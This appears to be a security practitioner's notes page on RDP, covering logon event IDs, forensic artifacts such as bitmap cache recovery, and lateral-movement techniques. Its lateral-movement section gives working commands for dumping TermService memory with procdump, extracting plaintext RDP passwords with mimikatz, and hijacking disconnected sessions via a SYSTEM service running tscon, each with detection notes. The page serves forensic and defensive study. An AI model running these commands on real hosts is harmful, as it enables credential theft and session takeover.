# RDP

## Event Logs:

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FChbAcl5LRucDyKgIEXwi%2Fimage.png?alt=media&#x26;token=c516ec5a-4b42-42c7-8c21-dcfbfcdd5b95" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FzPi78k6Y9xiQBO4X8E2m%2Fimage.png?alt=media&#x26;token=3e605382-ff6a-4714-a51b-ef1a9cdb3e3f" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.13cubed.com/downloads/rdp_flowchart.pdf>" %}
13Cubed
{% endembed %}

{% embed url="<https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4624>" %}
4624 Logon Microsoft
{% endembed %}

{% embed url="<https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them>" %}
Logon Types and Mimikatz Impact
{% endembed %}

{% embed url="<http://woshub.com/rdp-connection-logs-forensics-windows/>" %}
RDP Log Hunting
{% endembed %}

### Disconnect/Reconnect: 4778/4779&#x20;

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2F55VBdl0RQ7yoVhGcE1i4%2Fimage.png?alt=media&#x26;token=dd02922e-76c9-4046-b96c-b17be294296a" alt=""><figcaption><p>4778 Reconnect to existing session</p></figcaption></figure>

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FiGXOoIpw0thXLwaOjKJi%2Fimage.png?alt=media&#x26;token=ca006443-1c9f-4fbf-8267-a51103f2b7c2" alt=""><figcaption><p>4779 Disconnects from session</p></figcaption></figure>

{% embed url="<https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4779>" %}

{% embed url="<https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4778>" %}

## Forensics:

### Souce and Destination artifacts:

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2F6Gr0zY5tkEKjGIR4Hn22%2Fimage.png?alt=media&#x26;token=df7cdea4-e430-406d-b053-aa08373db3c9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FZRmXRrEQ2aQ7VkOC0pNA%2Fimage.png?alt=media&#x26;token=463e2328-823b-4909-b658-d2eac6130daf" alt=""><figcaption></figcaption></figure>

### Bitmap Cache

{% embed url="<https://www.allthingsdfir.com/do-you-even-bitmap-cache-bro/>" %}

{% embed url="<https://github.com/ANSSI-FR/bmc-tools>" %}

Bitmap cache will cache still standing images of an RDP session so that they can be referenced instead of retransmitted. The purpose of this is to optimize RDP session.&#x20;

We can leverage this artifact to collect what the TA saw during the RDP session. Useful for proving what a TA might've opened or actions they performed.

File Location:

* C:\Users\USERNAME\AppData\Local\Microsoft\Terminal Server Client\Cache\\\*

Cache files are stored in .bin files.

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FCAhRoTyvqn4EUFxp2dhq%2Fimage.png?alt=media&#x26;token=0907d07d-39fc-47d9-b447-0e36ef763117" alt=""><figcaption></figcaption></figure>

Execute bmc-tools:

```
bmc-tools.py -s ./ -d ./output
```

The output images will be saved to output folder.

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FiszTUNcBL1k9TkUz6n4Q%2Fimage.png?alt=media&#x26;token=7a95c0c3-35ea-4353-8786-cfaedb3d154c" alt=""><figcaption></figcaption></figure>

We can then stitch together these image pieces using RDP Cache Sitcher.

{% embed url="<https://github.com/BSI-Bund/RdpCacheStitcher>" %}

Grab the compiled release version of the software and then open up the directory the image tiles are stored in. We can then stitch together tiles to make a complete image.

<figure><img src="https://3278866189-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu4e057u3LTRKJEHFetwE%2Fuploads%2FEiy39sYeafRqgyYA1Imh%2Fimage.png?alt=media&#x26;token=ffca8a7d-a741-4f65-8604-2276856edc2c" alt=""><figcaption></figcaption></figure>

### RDP Clipbaord Forensics

{% embed url="<https://www.inversecos.com/2022/05/how-to-perform-clipboard-forensics.html>" %}

## RDP Lateral Movement

RDP credentials are stored in LSASS of the target computer. The plaintext passwords can be dumped from LSASS using mimikatz.&#x20;

Introduced in Windows Server 2012 R2 and Windows 8.1, Restricted Admin mode provides additional security to remote logon scenarios. This mode of Remote Desktop causes the client application to perform a network logon challenge-response with the NT one-way function (NTOWF) or use a Kerberos service ticket when authenticating to the remote host. After the administrator is authenticated, the administrator does not have the respective account credentials in LSASS because they were not supplied to the remote host. Instead, the administrator has the computer account credentials for the session. Administrator credentials are not supplied to the remote host, so actions are performed as the computer account. Resources are also limited to the computer account, and the administrator cannot access resources with his own account.

{% embed url="<https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication>" %}

### <mark style="color:red;">Dump Passwords in Terminal Services:</mark>

1. Query svchost running Terminal Services.

```powershell
#service
sc queryex termservice

#task running rdpcorets
tasklist /M:rdpcorets.dll

#netstat for TermService
netstat -nob | Select-String TermService -Context 1
```

2. Dump process or select-string for password in memory.

```powershell
#select string for password hint, difficult to find unless you know it.
strings -el svchost* | grep Password123 -C3

#dump process with task manager or procdump
procdump64.exe -ma 988 -accepteula C:\Users\pentestlab

#mimikatz rdp extract
privilege::debug
ts::logonpasswords
```

#### <mark style="color:blue;">Detection:</mark>

* Look for .dmp files on the host.&#x20;

{% embed url="<https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/>" %}

### <mark style="color:red;">Dump saved credentials via DPAPI:</mark>

Credential Manager Location:

* C:\Users\username\AppData\Local\Microsoft\Credentials

{% embed url="<https://pentestlab.blog/tag/svchost/>" %}

{% embed url="<https://www.reddit.com/r/sysadmin/comments/r271kc/any_way_to_retrieve_password_from_rdp_file/>" %}

* Credentials are stored in Credential Manager, not in .rdp files.
* .rdp files reference credential manager for creds.

#### <mark style="color:blue;">Detection:</mark>

*

### <mark style="color:red;">Tscon to hijack open RDP connections:</mark>

1. Requires SYSTEM privs to accomplish.

```powershell
psexec -s \\localhost cmd
```

\
Another method is to create a service that will connect selected session to ours.<br>

2. Get all sessions information:

```powershell
C:\Windows\system32>query user
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
 administrator                             1  Disc            1  3/12/2017 3:07 PM
>localadmin            rdp-tcp#55          2  Active          .  3/12/2017 3:10 PM

C:\Windows\system32>
```

3. Create service which will hijack user's session:

```powershell
C:\Windows\system32>sc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55"
[SC] CreateService SUCCESS
```

4. Start service:

```powershell
net setart sesshijack
```

#### <mark style="color:blue;">Detection:</mark>

* Event IDS`4778` (logon) and`4779`(logoff) events can be used to figure out which desktop sessions got disconnected/reconnected.
* Tscon running as SYSTEM
* Tscon executed as SYSTEM from persistence method scheduled task, service, WMI, etc.

{% embed url="<https://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html>" %}

{% embed url="<https://ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement>" %}

### Rogue RDP:

{% embed url="<https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/>" %}

### RDP Files:

.rdp files are plaintext config files.

{% embed url="<https://www.reddit.com/r/sysadmin/comments/r271kc/any_way_to_retrieve_password_from_rdp_file/>" %}

* Credentials are stored in Credential Manager, not in .rdp files.
* .rdp files reference credential manager for creds

{% embed url="<https://superuser.com/questions/139665/how-to-save-rdp-credentials-into-a-file>" %}

## RDP Keyboard Layout:

{% embed url="<https://medium.com/@thedigitaldetective/remote-desktop-protocol-using-client-keyboard-input-in-attack-attribution-and-profiling-94a76f0f4ff4>" %}

## Anti-Forensics:

{% embed url="<https://medium.com/@bonguides25/delete-recent-rdp-history-entries-from-the-start-menu-and-taskbar-jumplist-cc72bd9396bc>" %}
